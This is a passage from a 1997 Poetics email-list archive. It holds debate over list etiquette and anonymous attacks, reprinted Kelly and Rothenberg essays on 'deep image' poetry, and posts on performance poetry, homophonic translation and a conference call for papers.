I'm not arguing that everyone should read everything before participating, but I am thinking of the nebulous netiquette unwritten rule of thumb, that one should read and see what's happening on the list before starting any bonfires. I hadn't felt that way before, but after my storm of reading of the last week or so, I am convinced of it.

I'm not sure how many have been around since January 1994, but us old-timers will tell you that the "identity-evasion" issues of recent spam-artists and their often attendant personal attacks have happened before, and is not the first time such a drama has been perpetrated on this list. Obviously "y'all can do wuchawant." It doesn't, finally, matter much to me. Like Maria Damon, the diminishing returns have alarmed me and often I have thought of unsubbing. But then it seems like things pick up. More often than not it happens that on one of the other poetics channels there is something meaningful in the exchanges (and I like to think of this list as a kind of satellite receiver with a delete-key filter, facilitating many conversations on a wide-open spectrum, some of which, yes, are dumb, boring, or painful to read).

Despite the valiant attempts of many to make something of this space, this list, perhaps like many in cyberspace, is a list where the glorious and ephemeral nature of the discussion is matched only by the participants who keep up with it; or if not, keep changing seats to give the impression of a cohesive set of performers and a stable, if not cotten-eared audience. The shifting nature of the list is now counter-balanced by a firm set of people who've been on the list for more than a couple months and who've stuck it out to have the conversation. List Elders will remember that most of the instigators of Listserv Drama have all moved on to more exciting internet venues, I'm sure.

Any how, I am not sure why I am speaking out on this set of issues except that I was disturbed by the tenor of the list when I hooked back into it and the apparent bad faith by some of the people writing here. I was disappointed by the unbridled yelling, the fingers plugging the ears, the "I cant hear you I cant hear you" of "you're not reading me your're not reading me," that god-awful mantra of the moment.

Much of the complaint surrounding the list is this careless involvement of the public sphere in the quotidian exchanges by exhibitionists seemingly lonely for any other kind of real life. Why do we want to introduce anger and petit bourgeois violence into the mix? It isn't so much to ask that people consider their posts before sending them; keep private chatter backchannel; reduce the amount of "noise," which finally inhibits the intended function of this list.

On that note, on the matter of the literary chalice of poetic inheritance, anxiety, and its attendant mores, I would argue it isn't the value of any particular device that is the point, but the relation of that device to our action and practice in the world. There isn't anything inherently intrinsicly radical about language poetry; isn't it the commonest thing in the world? But the language movement was not *a* response but a series of responses to a set of perceived institutional perceptions. I confuses me, therefore that *naive* language poetry, denouced on this list recently, would be held in disrepute, when it alone can offer a critique from

the vacuum of ignorance, the place in which those literary devices of "advanced" poetic technologies have a "value" that isn't "polluted" or "committed" either. I'm being somewhat facetious here, but really, I want to know what are the "committed" "ideological" values of different formal practices. I asked my peers in Buffalo last Fall what the inherent or tactical value was of doing work in "homophonic translation." This led to a debate on our local listserv there, and yet, I was never satisfied with the answers which ranged in the vicinity of "homophonic translation disrupts normative reading methods," as if such disruption were somehow self-evident. I'm not saying that such work is not valuable, but I want to know what is the significance (or value) of doing this work *now.*

Insofar as there has been explanation of some of the rhetorical devices used in recent list behavior, let us have a look at one of them. The evasion of identity, the evacuation of specificity and even the emptying of pronouns to malleable shifters--are these really characteristics representative of the *current* generation? Why is identity play a valuable device in writing? I can imagine a number of reasons myself, but wonder what people "out there" think, as it has been something that has been said of much of the current writing out there. It seems that the cynical doubt of the possibility of sincerity (in some kind of absolutist way?) has returned to us with a sort of sinister vengeance. Why not follow out the natural results of some of our theories? Tom Metzger was tried in Portland on charges that he "suggested" the skinhead boys kill Mr. Seraw. A close reading of Mr. Metzger would have one believe that he was not responsible for his death, as he did not kill nor did he give the explicit instruction to kill. I am not saying that we should suspend Mr. Metzger's civil liberties, far from it. However, close reading of the text often doesn't work in conspiracy cases. When people say to those offended by the attacks on this list, "lighten up," I am reminded of the woman at U-Mich in Ann Arbor who was terrorized by a violent story published on the internet in which the victim was *named* after her. While there are crucial free speech issues every day, is the defense of such a violent realization of these rhetorical technologies the best way to use our energies? What is there to prove? Seriously, I want to know? What *is* at stake here?

The danger lies, I think, mostly in the desire for anonymity as a cover, or in the desire for an effaced or "slippery" identity, by which one is allowed to conduct violent attacks. What is to be gained from remaining anonymous? Certainly we're not Weather Underground people, are we? (I wish we were meeting in a warehouse and not in ineffectual cyberspace) The rationalizing of this behavior among "friendly peers" (is that a fair assumption, that the list should be a safe place to converse without being attacked?) demeans other uses these devices can have, and often those uses are revolutionary or subversive in nature.

Certainly, subversion and revolution are often valued methods of valuing rhetorical technics.

All of this reminds me the "missent letter" (which we still see occasionally, as the sender apologizes for having transgressed their own--if no other--social order) in that being "attacks" both the "spam" and the missent letter are often accompanied by a kind of plausible deniability. Often missent letters are marked only by this apology, with much of the discourse list "missent"--in the sense that it has been reduced to a kind of "could've been sent privately." Or, "should have been." Missent letters are usually innocent; a few times they are embarrassing. Once in a while they have been given an almost device-like flavor of the intentional (and anyone who has been through the logs knows what Im referring to).

The "misguided" spam on the other hand, offers deniability through a misty cloud of half-baked "postmodernism" (for lack of a better term). Utilizing the space of "plausible deniability" may serve certain functional ideological purposes; a kind of ends-meets-means endgame. But that space, of "willful" misconduct seems dangerous, especially when transmissions of violence posing as linguistic play are often linked to deniability with concern to "identity" while at the same time serving to advance the "cultural capital" of the speaker--and here Im thinking how much of the capital generated by the AHP a couple years ago was still connected to the never-revealed- but-all-too-obvious writer-editors. The violence done to Jay Schwartz, for instance, wasn't so much an actual nipple- clipping real fear so much as it was a kind of jousting-like aggressive verbal antagonism conducted on the public stage. I personally don't see the point in that. The refusal to engage, then, and defend one's actions, seems to me representative of a kind of cowardice. I think of recent literary magazines which offered up critique in manifesto-editorials but never allowed even one letter to the editor to be published in response--so much for the tradition of wrangling debate, as evidenced on the left in the 30s, for instance. The fact that such an affair as recently witnessed could lead to then a kind of community melt-down and breaking into "sides" or positions, seemed linked to the issue that there is "something to lose." What is it? And if there is something to lose, why aren't we talking about *that*?

Let me say that I really don't think were going to solve any world or personal problems on this list. And while I certainly don't think that there is so much at stake on this list that we should take ourselves so seriously, finally, I do think that we should take this space seriously. Obviously there is tons of symbolic value to everything that is said. I guess it is better to speak uninhibitedly and without reflection if reflection is going to inhibit your speech.

Kind of like talking to people in a bar. Do you mean to be saying that to me, or are you just acting out?

I have more things to post, so until next time--

Ellen-Ricardo

Poetics Janitor

"Sweeping up around the poetics playground
is what we aim to do."
Leon Grotsky
President
Poetics Workers of the World
Local 2.99

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691. **Joel Kuszai**

Poetics Flashback: Deep Image c.1962

Mon 21 Jul 1997

Rachel Loden's posting of the Michael Gold piece on Stein was a useful demonstration of some positive vibes on the poetics channel. As part of an ongoing attempt to spur debate and educate the masses, here is an installment of POETICS FLASHBACKS. Because poetic yammering didn't begin with the internet, with the literary magazine there is a long tradition of partisan debate and creative juices flowing, POETICS FLASHBACKS (brought to you by the Poetics Workers of the World) would like to present tonight's pogrom, I mean program, the exchange between Robert Kelly and Jerry Rothenberg in the pages of Trobar, which Kelly edited in the early 60s. The following is the initial piece by Kelly, which as he mentions, is a response to Rothenberg's idea of the Deep Image (a concept which is now an unrestricted free agent).

Note: POETICS FLASHBACKS are not copyrighted but belong to the spirit of poetics which is nowhere available but everywhere apparent. Please feel free to upload any POETICS FLASHBACKS that might be recovered from the forgotten world.

[note: POETICS FLASHBACKS
does not necessarily endorse
the opinions expressed below]

Robert Kelly

NOTES ON THE POETRY OF DEEP IMAGE

...the movement of images is rhythm.
- Nicolas Calas

These notes represent my attempt to understand and use this statement. The climate of the notes is the atmosphere of excitement and confrontation I am

aware of in Jerome Rothenberg's working in what he calls 'deep image'. In the second issue of his Poems from the Floating World he writes: "the deep image rises from the shoreless gulf: here the poet reaches down among the lost branches, till a moment of seeing: the poem." Working with deep image is the development of a 'basic imagination.' I read FLOATING WORLD as an attempt to plot a series of points, the poems & translations printed, to surround an implicit definition of the powers of the deep image. Rothenberg's first volume, WHITE SUN BLACK SUN (Hawk's Well Press) has just been published. The poems in it are very good, very moving, very much alive: demonstrations of the fruitfulness of the approach to the poem via deep image. And the collection is, beyond the matter of the poems themselves (what shall be said of them?), a happening in itself: the appearance of a demand for a new set of concerns in poetry, the appearance of a cogent movement in a new direction. The notes that follow are offered as pertinent perhaps to the climate I've spoken of.

The present and necessary function of poetry is the transformation of the perceived world. This transformation orders the known world into an effective and coherent universe. The eye, seeing a concrete pavement for the thousandth time but the flakes of mica embedded in it, glowing & fiery, for the first time, sees a transformation and so is illuminated. But poetry cannot stop with that enlightenment. Epiphany is meaningless display outside the context of incarnation. Poetry is concerned with things transforming and transforming things, with the whole picture in mind. We are given: 1 world to transform, 1 language to transform it with. Transformation is process, involves truth as emergent from process and not distinct from it, involves knowledge which alone redeems us from innocence, the deadly innocence of not knowing where and what things are. Poetry answers the questions w h a t w h e r e w h e n. Nothing can be known unless it is known in situ, in the context of its world. Transformation aims at the continuum of all perceptions. Poetry is this continuum. Poetry establishes the mutual relevance of every percept to every other percept. Percepts are from dreams or from waking, rise from the unconscious or from the retina of the awakened eye. Poetry, like dream reality, is the juncture of the experienced with the never-experienced. Like waking reality, it is the fulfillment of the imagined and the unimagined. The percepts, in order to be communicated, are fleshed in language. Poetry cannot exhibit naked perception. The clothed percept is the image. Poetry is not the art of relating word to word, but the ACT of relating word to percept, image to image until the continuum is achieved.

The Line: If the poem takes its departure from speech, a relationship of some kind must exist between the rhythm supplied by the images and the rhythm of the breath. What is the relationship of image to line? One easy answer is to say that one image equals one line. This denies the independent

existence of line, and is a quasi-solution that produces poetry of blandness, no matter how great the initial force of the images: the images are not being articulated, urgency is lost. Projective verse (for which see Charles Olson, Projective Verse) offers a method of resolving breath and line, and my concern with it here seeks to substitute the centrality of image for the centrality of syllable & line as a way of access to the happening of a poem. The line as set down on paper is an indication of the breath period, with visual & rhythmic considerations determining the visual notation. The projective line ending in open juncture allows tremendous stress on the last verbal unit in the line, a stress exploited not for key words but for key silences, stretching out to vital & peripheral words. 'Systematic derangement' of standard speech rhythms, of the inflexibilities of our analytic grammar, is a sharp exploratory tool, and a means of locking images. When the image, prima materia, is lacking, the verbal gesture is quickly emptied: the poem elapses instead of happening. The fundamental rhythm of the breath. One line represents one breath period. The line rhythm is a product of internal (stress, morphemic pattern) and external (weight, length) factors, relating one line to another and to all others. Each line is rhythmically related to another line by those same elements that relate lines formally to one another, i.e. formal similarities beget rhythmic relationships. Thus a poem involves the fundamental rhythm of the images (fundamental because more complexly present), a rhythm which is at once intellectual and sensuous, and also the structural, more directly sensual, rhythm of the breath expressed in line. The counterpointing of these two rhythms is a principal sources of fullness and complexity in the poem.

Deep Image: Plucking things from the street or from the unconscious is comparable to the digging of ore. Images do not necessarily proceed directly from the pitchblende. Verbalization is of prime importance, and on its subtlety the success of the appearance of the image, and of the rhythm of images, depends. The deep image must be transferred to the paper, BUILT into the poem, in language which gives it its fullest spatial, temporal, sonic & kinetic properties, as conditioned by its presence in a series & in a structure. Supplying the image in its fullest force is thus partially a function of language. Basically, the fullest force is possible only by means of the successful employment of one image's position in a context of other images; the image, after its first appearance as dark sound, still lingers as a resonance. This resonance must be controlled, and the effective means of control are the acoustics of the space intervening between one image & the next. The subsequent image is conditioned, made to work, by the image that precedes it, and conditions, as it is finally conditioned by, the image that follows it: through the whole poem. The first image to appear in an Andre Breton poem will normally dominate all subsequent images and the poem as a whole, even when the reader seems to have

forgotten it. The whole poem is more than the sum of its parts. Very important for this superequivalence is the ORDER of images within a poem. The final quantum will vary with the rearrangement of the images and of the images' fields of force. Every image has its field of force, its shadow moving darkly through the poem, with which the poet must contend. The rational progression of images is only trope, whether or not the middle terms are excluded: metaphor with a stale taste of truism. Only the superior rationality of the dream is an effective impetus for the movements of the deep image. The image is the measure of the line. The line is cut with image in mind.

Language: The verbalization of the image comes out of the linguistic patterns of the poet's native language. In the poem built from the deep image, the image itself bears an enormous weight, for through it and its connection with the rhythmic sequence of images, the flow of the image-conditioned word and music, the meaning of the poem exists, all communication takes place. The American language of today provides the only reliable linguistic patterns for the poet of images. Verbal expression of the image demands an urgency and directness that only the spoken language of poet and reader can supply, the language of here and now. The language of the image must come across vividly and urgently, without cuteness or distraction. Only in the native linguistic PATTERNS can the deep image communicate at full strength. In the image and in the line, the poet is using a language superficially akin to that of everyday. Atop the familiar linguistic patterns, the images mold their own expressions. The poet charges these expressions using the full arsenal of poetics, so that the image works in all its urgency, at its maximal communicative force. The need for urgency, for tension in the work itself, cannot be exaggerated. The language of deep images restores the poetry of desperation. October , 1960 [Trobar 2]

Jerome Rothenberg

WHY *DEEP* IMAGE?

When we speak about "deep image," we renew a demand that poets get at the reality of things by turning inward: that the process of self-perception be united as far as possible with our means for perceiving the world around us. This sort of concern leads naturally to a reconsideration of whether a "poem" is something other than the structure of its words, even while being integrally connected to that structure, which gives it a shape and name.

The question which presented itself at the start, before image in any sense had clearly entered the picture, was where the poem took root (what its source was) -- or, as it later developed, whether certain elements in what, by the cut of the lines, we distinguished as a "poem," were "poetic" in their very nature: in short, if there existed a special kind of poetic activity. I was by then convinced that

there was a long-standing confusion between the structure of words we call a poem and the event-of-a-poem's-happening: all more elusive because structure and event could coincide in the same space -- and probably should, as likely in the nature of things. But I did feel too that not all events that occur in a poem -- and certainly not in most poems written today -- are in this sense the happening-of-a-poem.

The event that seemed to me most clearly central to the happening-of-a-poem was what we came to call "deep image." The word *deep* wasn't intended to convey a sense of profundity, pseudo or otherwise, but to show that the direction of seeing in this kind of image is into a man rather than outside him: not a habit of the eye so much as a penetration of the self to refocus on the world through the eyes-of-feeling. This means that we have to try to see the world in all its natural and contemporary detail as if no differences existed between the seer and the things he sees. To see in this way -- through the self (emotively) -- results in certain necessary changes on the material emerging in the poem:

a heightened sense of the emotional contours of objects
(their dark qualities, or shadows);

their free re-association in a manner that would be impossible to descriptive or logical thought, but is here almost unavoidable;

the sense of these objects (and the poem itself) being informed with a heightened relevance, a quickened sense of life;

the recognition of the poem as a natural structure
arising at once from the act of emotive vision.

The power of the deep image is its ability to convey a sense of two-words-in-one: directly: with no concept to come between the inner experience and its meaning. With this comes a new attack on the mystery of the real, in which all our habitual perceptions are continually being put in question. The poet discovers the unknown by creating it from the vast resources of his inner life, the savings of an experienced world still rich in meaning: he delivers, as deep image, the life-giving vision that he could in no other way explain.

In spite of this essential directness of communication, the recasting of the world in the self's image will seem to some a distortion of whatever world they habitually take for "the real one." Some such discomfort has accompanied the introduction of deep image by other modern poets. But any disruption of a bad habit should be welcome. The deep image brings with it a demand for new visions of the world for new creations into thought: in short for poetry in its *creative* aspect, in which, as Baudelaire first had it, the poem "will contain, at one and the same time, the object and the subject, the external world and the artist himself." [Trobar 3]

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692. **rsillima**

Seattle, August 22 & 23

Mon 21 Jul 1997

Thanks to our tax dollars at play (then and now), I will be in Seattle on Friday, August 23rd & Saturday, August 24th, and would be happy to give a reading or get together with any of the Poetics list folks thereabouts (Herb? You still around?). Send an email or call.

The very postmodern reason I will be in Seattle is that the US Dept of Energy wants to see if my thyroid glows in the dark and is paying to fly me all the way there to a hospital known colloquially as The Hutch, instead of having me check at a local clinic here. The reason that they want to see if it glows in the dark (that is not a technical term) is that I was born in the immediate vicinity of the Hanford nuclear facility at the far end of the state, which is where they built "Little Man," the bomb dropped on Nagasaki. During said same period, the good scientists at Hanford also dumped radioactive iodine into the ground and eventually into the Columbia River (Roll on...). So, 50 years hence the DOE is checking on 3,200 children born over the next ten years within X number of miles of the facility. In my case, X is literally a Roman numeral.

So I guess I will go do my Tyrone Slothrop imitation. Or maybe my Araki Yasusada one.

But it would be nice to get something positive out of the experience. So give me a shout if you're there,

Ron

Ron Silliman
262 Orchard Road
Paoli, PA 19301-1116
[redacted]
[redacted] (o)
[redacted] (fax)
[redacted]
[redacted]
http://writing.upenn.edu/epc/authors/silliman/

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693. **David Israel**
Re: Words which push my buttons, golly
Mon 21 Jul 1997

Jordon Davis wrote --

>Maria --
>
>What's the earliest usage of "men who squint at the moon"? Do you have
>other breathtaking euphemisms?

And Maria Damon wrote:

<< judy grahn suggests a few nice ones: men who walk backwards is one i remember. i was hoping someone out there cd let loose with a more flamboyant and insiderish list >>

While neither flamboyant nor insiderish, I was reminded of a passage in Vladimir Nabokov's THE EYE (1965, written originally in Russina), which I lately read for 1st time --

the expression there is "sexual leftie" -- don't know the Russina, but I think it's safe to assume (notwithstanding some paradox of such assumption) that here, "leftie" is meant as a slangy form of "left-handed person" (rather than a slangy form of "left-winger"; this notwithstanding the novel's set among expatriate Russians in Berlin in the 1920s) --

the narrator is fascinated with the a character known as Smurov; & more particularly, he's obsessed with trying to form a clear idea of how various persons in their social surround regard Smurov -- for he has come to understand that each seems to view Smurov differently. To further his research, he intercepts a letter penned by the prolix (& literarily conceited) Roman Bogdanovich (who has made it be known that he writes regular dispatches to a distant friend w/ details of all & sundry). Sure enough, Bagdonovich expresses a view -- and none too generous (in context) -- anent the mysterious Smurov.

Nabokov's prose reads thus:

<< . . . I skipped several pages and suddenly, like a familiar face amid a hazy crowd, there saw Smurov's name. What amazing luck! "I propose, my dear Fyodor Robertovich, to return briefly to that rascal. I fear it may bore you, but in the words of the Swan of Weimar -- I refer to the illustrious Goethe -- (there followed a German phrase). Therefore allow me to dwell on Mr. Smurov again and treat you to a little psychological study . . ." <snip> "I have the impression, dear friend, that I have already written to you of the fact that Smurov belongs to that curious class of people I once called 'sexual lefties.' Smurov's

entire appearance, his frailness, his decadence, his mincing gestures, his fondness for Eu de Cologne, and, in particular, those furtive, passionate glances that he constantly directs toward your humble servant -- all this has long since confirmed this conjecture of mine. It is remarkable that these sexually unfortunate individuals, while yearning physically for some handsome specimen of mature virility, often choose for object of thier (perfectly platonic) admiration -- a woman -- a woman they know well, slightly, or not at all. And so Smurov, notwithstanding his perversion, has chosen Varvara as his ideal. . . . " [etc.] >>

(Coincidentally, the narrator was madly in love with this same Varvara. But much more curiously, at the very end of the novel, the narrator is astounded to discover that evidently -- albeit quite inexplicably -- he is, in fact, himself none other than Smurov -- the bloke whose publicly conceived character he's been so firecely trying to figure out.)

[this: a long tangent, or a brief diversion . . . ?]

d.i.

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694. **robert drake**

Re: Dredging the Harbor for a Sinking Ship

Mon 21 Jul 1997

---

joel--

glad for yr post, much to think about, but a coupla thingks i wanted to get back to you abt immediate---

> *It is astonishing to me the way that certain discussions, events, or situations are repeated on this list, seemingly every few months. The list itself isn't that old--wuzzit Charles B. said? -- went public Dec 1993?--and so perhaps the high volume of verbiage and the nature of the way listservs "conduct themselves" has led to a kind of chronocompression that, when viewed against historical "reality" seems absurd. I'm not personally opposing the repetition of any of the topics discussed, from the criticism vs. poetry debates, to the performance discussions to the continual struggle of the "emerging writers" to define themselves in relation to language poetry. Often, however, it seems that the same problems are discovered and repeated anew without any consideration for the fact that many "in the audience" have seen much better actors in the very same roles.*

i sometimes share th impatience w/ rehashing what, to me, is old hash... but i think it's a mistake to see the conversations as "only" about their ostenstible "topic"--th recurrent themes recur because they're (still) issues that are still in

process... and the ongoing conversation often enuf isnt actually part ov "solving" th "problem", but a public marker that it's still an unresolved collective issue (even tho most ov the discussants probably have resolved it individually & for themselves--probably before the conversation begins...). as an example (sorry fr the rehash), my memory of the criticism/poetry remergence: bob g. posted his taxonomy, which contained his neologism "acadominant" to refer to LangPo; several folks objected to the term on various grounds & w/ seemingly different interpretations of "acadominant"; i ventured a guess as to the connection bob saw between th acadamy & LangPo (i hypothesized it was because of the importance of critical discourse to both); and that triggered th rehash--seemingly just using th 2 terms in the same sentance provoked. seemed misplaced to me at the time, but i read it to mean that it's still a point ov (con)tension w/in the list. i admit i stopped reading the individ posts; but the fact ov the recurring event still seems notworthy...

[&&, i equally have no use fr the various cat&dog fights etc... pretty quick w/ the delete key, tho, rather than unsubing--& while not reading the posts hard, still noting the event, which then colors other less flammable posts by those authors...]

> *...I asked my peers in Buffalo*
> *last Fall what the inherent or tactical value was of doing work*
> *in "homophonic translation." This led to a debate on our local*
> *listserv there, and yet, I was never satisfied with the answers*
> *which ranged in the vicinity of "homophonic translation*
> *disrupts normative reading methods," as if such disruption*
> *were somehow self-evident. I'm not saying that such work is*
> *not valuable, but I want to know what is the significance (or*
> *value) of doing this work *now.**

i'd be _most_ grateful for any parts ov that conversation that you might be able to share w/ me... i think i brought up homophonic translation here on poetics, and is still of personal interest...

>Insofar as there has been explanation of some of the rhetorical
>devices used in recent list behavior, let us have a look at one of
>them. The evasion of identity, the evacuation of specificity and
>even the emptying of pronouns to malleable shifters--are these
>really characteristics representative of the *current*
>generation?... ^^^^^^^^^^^^^^
 ^^^^^^^^^^^

th idea of a single & unitary "current generation" seems at heart of many of th misunderstandings here on th list... despite its genesis in a social space where Language Poetry is "the commonest thing in the world", i think the list is much less that sort ov space now, and even less is the world at large... if we havent

agreed on our terms (what subset of poetry? what poetic community?) we're not havin a conversation, we're just talking.

anyway, glad fr yr words, hope they're responded to thoughtfully...

asever
lbd

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695. **George Bowering**
Re: Words which make People Garbage.
Mon 21 Jul 1997

> *george bowering*
>
> *you pilfering communist scum -- it's "aggression," not "agression"!*

I never spell anything wrong, Elisa. It is this damned keyboard. It sticks.

Hey, I went outside and stood in the rain for an hour after I read yr message. I'll do anything to make it the way it was before. You remember the space behind the Coke machine at the Day's Inn in Duluth?

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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696. **L.MacMahon and T.R.Healy**
bric-a-brac
Tue 22 Jul 1997

Enjoy Seattle Ron. My sister worked in Hanford in the late 80's or early 90's. The place became the world's biggest requirer of scientists overnight when a new research facility was opened to try to find out why a crust had formed over the nuclear material in the reactors. The occasional burp of gases through said crust, I think Fiona, my sister, said every 15 mins, increased the risk of the things exploding by surely it wasn't 50%? She now works in Italy after a minor hiccup one Thursday afternoon. T-shirts were on sale in Hanford bearing the mushroom cloud image under which was written: Made in America, Tested in Japan. It still shocks me.

Men who squint at the moon: terrific Maria. Am I correct in assuming that this is a collaboration between you and Dante, not a street term, though it surely will be. Many years ago at a writer's workshop, a very down-at-heel one, hey they let me in, someone was intoning piously about Jean Genet the speaker's syrupy accents provoking the objection that G was "an inverted snob" from the back of the room. (I can give the objector's name backchannel)

Many thanks db for your thoughtful piece on the inner life of a toilet roll. Though I am concerned that you are privileging the roll at the expense of the sheet. Or are you slyly leaving room for a sequel?

Jay: why is it that computers are capable of such helpful feedback as KEYBOARD DISABLED PRESS ANY KEY TO CONTINUE but not the simple DO YOU REALLY WANT TO HANG YOURSELF OUT TO DRY Y/N?

Joel: What a return! Great posts. A v small quibble as a relative newbie, is it disingenuous for people who have panta rei oude menei embroidered on their socks to wave the been-there-discussed-that banner? It's possible to lose your audience's sympathy when you suggest that they cannot be in possession of a single new insight on a given topic.

cheers

Randolph Healy
Enniskerry Ireland.

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697. Miekal And

Re: Missing word: can you help?

Tue 22 Jul 1997

---

alphalubrationary

miekal
--
@#
Dreamtime Village website: http://net22.com/dreamtime
QAZINGULAZA: And/Was/Wakest website:
http://net22.com/qazingulaza
e-mail for DT & And/Was: [redacted]

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698. **Kim Dawn**
Re: POETICS Digest - 20 Jul 1997 to 21 Jul 1997
Tue 22 Jul 1997

---

i hurt really badly today. oh god it aches, it fucking aches.

you know,

this list is always a good morning laugh. we used to do that together over coffee and cigarettes.

See, no self loathing. Just an acknowledgement of suffering.
emily
In five seconds, this open will in love a clematis.
jordan davis

Dear List,

Sorry I didn't resist the urge to respond. I promise, I'll leave it alone from now on.

Dodie

this guilt eats her up it devours her this guilt eats her up it devours her this guilt eats her up it devours her this guilt eats her up it devours her this guilt eats her up it devours her this guilt eats her up it devours her this guilt eats her up it devours her this guilt eats her up it devours her this guilt eats her up it devours her this guilt eats her up it devours her this guilt eats her up it devours her this guilt eats her up it devours her this guilt eats her up it devours her this guilt eats her up it devours her this guilt eats her up it devours her this guilt eats her up it devours her this guilt eats her up it devours her this guilt eats her up it devours her this guilt eats her up it devours her

she sees herself as less.

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699. **R I Caddel**
postmodern poetry coinference (fwd)
Tue 22 Jul 1997

---------- Forwarded message ----------
Date: Wed, 9 Jul 1997 12:24:37 BST
From: tony lopez <[redacted]>
To: [redacted]
Subject: postmodern poetry coinference

call for papers

Postmodern Poetry: a conference
31 March 1998
Exmouth campus University of Plymouth

Participants will include

Andrew Crozier

Rachel Blau DuPlessis

John Kinsella

We invite papers on any aspect of contemporary poetry:

politics, history, poetics, performanc, and particularly

papers on the work of those participants named above.

250 words proposals for 25-30 minute papers

SHOULD BE SENT BY 31 October 1997 to

Tony Lopez & Philip Terry (conference organisers)

Faculty of Arts & Education, University of Plymouth

Douglas Avenue, Exmouth, EX8 3QA, UK

email proposals welcome, send to:

[redacted]

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700. Eliza McGrand- CVA Guest

Re: Words which make People Garbage.

Tue 22 Jul 1997

---

george

the author of that post was a friend of mine, natasha von rabbit-masher, who happens to look a great deal like me, have many of the same verbal ticks, and who is borrowing my account occasionally. other than that there is no link. really.

but i found it extremely interesting that she, too, had seen you in pink and pearls though our opinions on that matter differ. given that she regularly sports white pumps in december, however, a few sartorial differences of opinion may not be such a bad thing...

re the coke machine, indeed, how could i ever forget. there you were trying to be plausible about having "dropped" your change on the floor. then you tried to get me to check your pockets for "more change" because, as you so charmingly put it, you weren't sure "your arms would reach."

yes, naif that i was, dewy-eyed young cantaloupe in the fruit medley of life, trembling boutonniere of moss rose in the lapel of a roue, i was taken in by you. but no more.

as far as i'm concerned we're through, and i'll be returning the teflon waffle-maker and vacuum bags you tried to pretend you'd bought for me (although the store tags were still on them). by the way, when i told tasha, she was very annoyed and asked me to tell you she wanted to know why all she ever got was the ring from one of your cigars, a used bicycle spoke, and a rock from brighton beach. i smiled, soi distante, and said there is more than one use for a vacuum bag, but you can look elsewhere in the future, pink and pearls or no.

wretched and throbbing,
e
ps
oh, did i mail this to the WHOLE LIST?! oh goodness, i meant to send it only to you...!

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701. **Jordan Davis**
L-Dopa
Tue 22 Jul 1997

> *I get frustrated with the kind of approach to poetry that needs to maintain this page/stage dichotomy and cannot,*

I see "dichotomy and carrot", as in, if you accept the dichotomy, you can have the carrot. Bob Hale's post (he used the word "often" when he made the interesting if general statements about performance poetry) proposed the idea that poetry need not be produced in the same time-economy as comedy. Is Bob wrong to say that slam poetry (which is a distinct category of performance poetry? no, but only some performance poets participated in slams -- pace Charles Alexander) shares many trappings with stand-up comedy.

The audience has a clearer contract with the stand up comedian, though -- you go (or you change the channel) and within say a minute, you laugh, or you can start talking to your date (or change the channel again). What is the audience's contract with the performance poet? Give me some crazy words, give me a narrative describing how you had a strong and easily identifiable emotion, talk too fast -- what?

Implicit in Bob's description of performance poetry is the idea that a poet is better off where the contract is clearer -- i.e. where the audience knows that they don't know the rules. (Viz Rod Smith's post -- inspiration comes from listening to Bird -- bop ((like abstract expression)) being a systematization of surprise

((or maybe just a few simultaneous incarnations of Shiva in the world?)) -- the jazz audience contracting to have their minds blown -- to know that they wer-ent' going to know -- to be ok with that -- the parallels between bop and serialism?)

Julie's (was it Hugh's?) account of heckling by guessing the rhyme jibes with this -- the poet has a harder job when the audience knows the rules -- when they can collaborate. This ties back into Mark Presjnar's post about reader-response.

At 9:01 AM -0400 7/21/97, Mark Prejsnar wrote:
>that's in the mod/pomo stream), that tendency is very largely about
>**relinquishing** control, inviting the collaboration of the reader..

I know this is the jargon -- but is it the case? Even the jargon seems a little like _states' rights_, if you ask the individual with this reply address. But assuming that the jargon describes something about the relationships between writer work and reader, what would that collaboration be? (No fair citing O'Hara's Lucky Pierre -- not all of us went to adventurous schools) Filling in the blank spaces on the page (in a work like Bruce Andrews' _Tizzy Boost_)? Coming up with one's own brutal one-liners (in a work like Bruce Andrews' _I Don't Have Any Paper So Shut Up, (or, Social Romanticism)_)?

I'm assuming, Joel Kuszai, that when you ask what the meaning is of doing homophonic translation *now*, you're referring to a couple of things *in the air* (or rather, in magazines and books) lately. One is Marjorie Perloff's idea (quoted in David Kellogg's Diacritics article; thanks for the offprint, David) that one must figure out what language game is the one to be playing *now*. Another might be Andrews' gonzo homophonic translation of the entirety of Dante's Paradiso.

To ask the meaning is to assume there is one, or that there's a process going on and what set it off is interesting and what will follow it is interesting. Maybe the meaning going on is sluggish? Maybe the critical will to proscribe (to place bets on?) what goes on *now* is off? But if it's not, then I'm placing my bets on what Henry's mentioned, the phonemic shuffle -- but with this corollary -- the paraphrasable meaning has to be as unfamiliar and overdetermined as the sound combinations are -- viz the recent work of Ben Friedlander, the lunch poems of Tim Davis, "Eon" by Kim Lyons, practically anything by Ange Mlinko. But I wouldn't bet _everything_, my printing press goes too slowly for that.

Anyway, to echo Mark Wallace's call for a CONSCIOUS exploration of multiple approaches (as opposed to what Mark characterizes as a naive "anything goes" polymorphousness -- more about that dichotomy, Mark?) I'm more comfortable looking at Andrews' work as a reductio ad infinitum of Pound/Olson's idea that each poem must take its own form. Alice Notley's work has a similar impulse -- do a different thing. Those might be some interesting trajectories to track -- any

grad schools out there with cash? Can an exploration of multiple approaches be separated out from its ordinary literary-historical complement, the biographical/chronological? I do this _then_ I do that? Or does influence work backwards, in the form of _fame_.

Ahh, who knows,
Neologism or Typo

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702. **hg**
Re: L-Dopa
Tue 22 Jul 1997

On Tue, 22 Jul 1997 09:57:50 -0400 Jordan Davis said:
>
>Implicit in Bob's description of performance poetry is the idea that a poet
>is better off where the contract is clearer -- i.e. where the audience
>knows that they don't know the rules. (Viz Rod Smith's post -- inspiration
>comes from listening to Bird -- bop ((like abstract expression)) being a
>systematization of surprise ((or maybe just a few simultaneous incarnations
>of Shiva in the world?)) -- the jazz audience contracting to have their
>minds blown -- to know that they werent' going to know -- to be ok with
>that -- the parallels between bop and serialism?)

just a coupla comments on the always-always posts of JD & his aliases.
I have trouble relating the poet/listener contract described(?) here with
be-bop. Other extensions of jazz, maybe (O. Coleman? Sun-Ra?) - but in
bop I hear a lot of form, control, expectations. Not that I'm an expert.
>
>
>I'm assuming, Joel Kuszai, that when you ask what the meaning is of doing
>homophonic translation *now*, you're referring to a couple of things *in
>the air* (or rather, in magazines and books) lately. One is Marjorie
>Perloff's idea (quoted in David Kellogg's Diacritics article; thanks for
>the offprint, David) that one must figure out what language game is the one
>to be playing *now*. Another might be Andrews' gonzo homophonic translation
>of the entirety of Dante's Paradiso.

